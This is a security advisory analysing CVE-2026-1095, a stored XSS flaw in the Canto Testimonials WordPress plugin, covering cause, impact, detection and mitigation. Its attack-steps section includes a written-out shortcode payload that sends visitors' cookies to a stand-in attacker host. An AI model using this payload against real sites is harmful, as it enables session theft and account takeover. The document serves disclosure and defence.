CVE-2026-1095: 
WordPress vulnerability analysis and mitigation

CVE-2026-1095 is a Stored Cross-Site Scripting (XSS) vulnerability in the Canto Testimonials plugin for WordPress. It affects all versions up to and including 1.0, stemming from insufficient input sanitization and output escaping on the fx shortcode attribute. The vulnerability was disclosed on January 24, 2026, with Wordfence as the reporting CNA. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The vulnerability exists because the plugin fails to sanitize or escape user-supplied values passed to the fx shortcode attribute before rendering them in page output. An authenticated attacker with at least Contributor-level access can embed a malicious JavaScript payload within a post or page using the shortcode; the script executes in the browser of any user who subsequently views the affected page. The vulnerable code is located at line 132 of canto-testimonials.php (WordPress Plugin Trac, Wordfence).

Successful exploitation allows an authenticated attacker to persistently inject arbitrary JavaScript into WordPress pages, which executes in the context of any visitor's browser. This can lead to session cookie theft, credential harvesting, defacement, or redirection of users to malicious sites. While availability is not directly impacted, confidentiality and integrity are both affected at a low level within a changed scope, meaning the impact extends beyond the attacker's own session to other users of the site (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-1095. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. Exploitation requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Feedly, Wordfence).

1. Reconnaissance: Identify WordPress sites running the Canto Testimonials plugin version 1.0 or earlier, using tools like WPScan or manual inspection of plugin directories.
2. Obtain Contributor access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
3. Craft malicious shortcode: Create or edit a post/page and insert a shortcode with a malicious fx attribute, e.g., [canto_testimonials fx="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish or submit content: Submit the post for review or publish it directly (depending on role permissions), embedding the payload in the site's content.
5. Trigger execution: When any authenticated or unauthenticated user visits the page containing the injected shortcode, the malicious script executes in their browser, potentially stealing session cookies or performing actions on their behalf (Wordfence, WordPress Plugin Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing fx shortcode parameters with script tags or encoded JavaScript payloads.
• File System: Unexpected modifications to post content in the WordPress database (wp_posts table) containing <script> tags or JavaScript URIs within [canto_testimonials] shortcode attributes.
• Network: Outbound browser requests from site visitors to unknown external domains shortly after loading pages containing the Canto Testimonials shortcode; potential exfiltration of cookie data via GET parameters to attacker-controlled URLs.
• Application: Presence of the Canto Testimonials plugin at version 1.0 or below on a WordPress installation, combined with Contributor-level or higher user accounts that are not strictly controlled.

The primary remediation is to update the Canto Testimonials plugin beyond version 1.0 if a patched release becomes available from the vendor (cantothemes). If no patch is available, site administrators should deactivate and remove the plugin until a fix is released. Additionally, restricting Contributor-level account creation and enforcing the principle of least privilege reduces the attack surface. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide a compensating control (Wordfence).

Wordfence included CVE-2026-1095 in their weekly WordPress vulnerability report for January 19–25, 2026, as part of routine disclosure coverage (Wordfence Blog). The vulnerability received standard aggregation across security feeds including Vulners, CVEFeed, and CIRCL, with no notable researcher commentary or significant community discussion beyond routine tracking.